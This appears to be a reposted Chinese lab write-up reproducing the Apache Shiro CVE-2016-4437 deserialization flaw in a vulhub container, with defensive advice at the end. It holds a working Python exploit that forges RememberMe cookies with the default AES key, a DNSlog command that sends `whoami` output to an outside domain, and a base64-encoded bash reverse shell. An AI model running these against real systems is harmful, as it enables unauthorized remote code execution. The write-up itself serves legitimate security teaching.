经典复现-apache_shiro(CVE-2016-4437)反序列化漏洞复现

admin 2026-04-16 06:06:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细复现ApacheShiroCVE-2016-4437反序列化漏洞,该漏洞源于1.2.4及之前版本使用硬编码AES密钥,攻击者可通过RememberMe功能构造恶意序列化数据实现RCE。文章涵盖漏洞原理、手工检测密钥、利用ysoserial生成payload、反弹shell实操,并提供升级Shiro版本、配置强密钥、禁用RememberMe等防御建议。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,红队,实战经验


cover_image

经典复现-apache_shiro (CVE-2016-4437)反序列化漏洞复现

原创

hzhsec hzhsec

hzhsec

2026年4月8日 11:49 江西

免责声明:本文内容仅用于安全研究与学习,请在合法授权的环境中使用,严禁用于任何非法用途。因使用不当造成的后果由使用者自行承担,并应遵守相关法律法规。


漏洞简介

apache shiro 是什么? apache shiro是一个简洁的用于身份认证,授权管理,会话管理的组件.

漏洞背景及影响版本

Apache Shiro 1.2.4及之前版本默认使用硬编码的AES加密密钥,攻击者可以爆破默认密钥,构造恶意序列化数据,通过shiro的RememberMe触发反序列化,从而导致远程代码执行,后续版本移除了默认密钥,但是如果开发者泄露了密钥,也是容易造成漏洞的

漏洞原理

Shiro的RemeberMe功能是保存用户登录信息的,在其处理数据的过程存在反序列化用户数据

RemeberMe的cookie生成逻辑:

  1. 序列化用户信息
  2. AES加密用户序列化数据(AES是对称加密,加解密密钥相同)
  3. Base64编码数据 最终生成RemeberMecookie数据 在服务端处理cookie时,采用的是倒过来的 Base64解码->AES解密->反序列化

从过程中,我们可以发现,只要攻击者拿到了AES加密密钥,就可以控制反序列化的数据,从而造成RCE,又因为在老版本的apache shiro使用的是默认密钥,如果没有修改,就会造成危害

漏洞复现

1.靶场搭建

准备好docker

  1. 靶机环境(使用 vulhub靶场):
克隆vulhub仓库
git clone --depth 1 https://github.com/vulhub/vulhub.git
到漏洞地址
cd vulhub/shiro/CVE-2016-4437

拉取镜像

docker-compose up -d

拉取失败的可以使用这个仓库的镜像源配置工具:

git clone https://github.com/hzhsec/docker_proxy.git
chmod +x *.sh
./docker_yuan.sh

再拉取

docker-compose up -d

使用docker ps查看镜像是否运行 访问:http://靶机IP:8080

2.漏洞复现

1.手工复现

  1. 检测Shiro框架随便输入数据,勾选remeber me,观察响应包头的cookei,是否有rememberMe观察使用了shiro组件
  2. 脚本爆破shiro密钥 基本原理是,使用以上的加密逻辑,在请求包的cookie中添加一条rememberMe=xxx的数据 观察响应包,如果存在Set-Cookie里面有rememberMe=deleteMe,就说明是存在shiro漏洞,但是不知道密钥是否正确

注意:显示deleteMe不一定说明密钥错误

判断密钥:

  • 使用工具生成序列化数据命令,执行访问dnslog查看是否回显判断
  • 构造poc将密钥正确和密钥错误两种情况分开,正确时不返回deleteMe,错误时返回

使用这个工具爆破: https://github.com/myzxcg/ShiroKeyCheck/tree/main

获取正确的key后,需要通过构造反序列化利用链工具,生成恶意的已经序列化的payload,将payload通过一系列加密编码:AES->Base64设置到数据包头部的cookie里面的RememberMe参数

使用yakit生成payload:

将base64数据替换

import base64
import os
from Crypto.Cipher import AES
import requests

# ysoserial 生成的 base64 编码 payload
payload_base64 = ''

# 解码成二进制
serialized_payload = base64.b64decode(payload_base64)

# Shiro 默认密钥
default_key = 'kPH+bIxk5D2deZiIxcaaaA=='

#加密payload
def generate_payload(key_base64, payload_bytes):
    """
    使用指定密钥加密 payload,返回 rememberMe cookie 值(字符串)
    """
    key = base64.b64decode(key_base64)

    # 随机 IV(Shiro 实际也是随机 IV,然后 IV + ciphertext 一起 base64)
    iv = os.urandom(16)

    cipher = AES.new(key, AES.MODE_CBC, iv)

    # PKCS7 padding
    padding_len = 16 - (len(payload_bytes) % 16)
    padded_payload = payload_bytes + bytes([padding_len]) * padding_len

    # 加密
    encrypted = cipher.encrypt(padded_payload)

    # IV + 密文,然后 base64 编码
    rememberMe = base64.b64encode(iv + encrypted).decode('utf-8')

    return rememberMe

#发送数据包,检测漏洞
def check_vuln(target_url, key_base64):
    """
    发送带 rememberMe cookie 的请求,检查是否触发漏洞
    """
    rememberMe_value = generate_payload(key_base64, serialized_payload)

    response = requests.get(target_url, cookies={'rememberMe': rememberMe_value}, allow_redirects=True)

    set_cookie = response.headers.get('Set-Cookie', '')
    print(f"[*] Response Code: {response.status_code}")
    print(f"[*] Set-Cookie: {set_cookie}")
    cookie=response.headers
    print(f"[*] Cookie: {cookie}")
    # 如果出现 deleteMe,说明反序列化可能执行成功
    if'deleteMe'in set_cookie:
        print("[+] 漏洞存在!")
        returnTrue
    else:
        print("[-] 未触发 deleteMe,可能密钥错误或不存在漏洞")
        returnFalse

# 主执行
if __name__ == '__main__':
    target = 'http://192.168.41.128:8080/doLogin'
    print("[*] 使用默认密钥测试 Shiro 反序列化漏洞...")
    check_vuln(target, default_key)

测试命令

ping `whoami`.ajaldlbrte.zaza.eu.org

回显成功

反弹shell

bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMi4xNjcuMTY0LzQ0NDQgMD4mMQ==}|{base64,-d}|bash"

2.工具梭哈

  1. 设置url
  2. 爆破密钥
  3. 爆破利用链
  4. 命令执行

防御建议

  1. 升级Shiro版本:至少升级至1.8.0,默认禁用旧版AES-CBC模式,改用AES-GCM。
  2. 配置强密钥:在shiro.ini中自定义密钥,避免使用公开泄露值
  3. 禁用或谨慎使用 RememberMeshiro.ini
securityManager.rememberMeManager = null

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:hzhsec hzhsec hzhsec《经典复现-apache_shiro (CVE-2016-4437)反序列化漏洞复现》

评论:0   参与:  0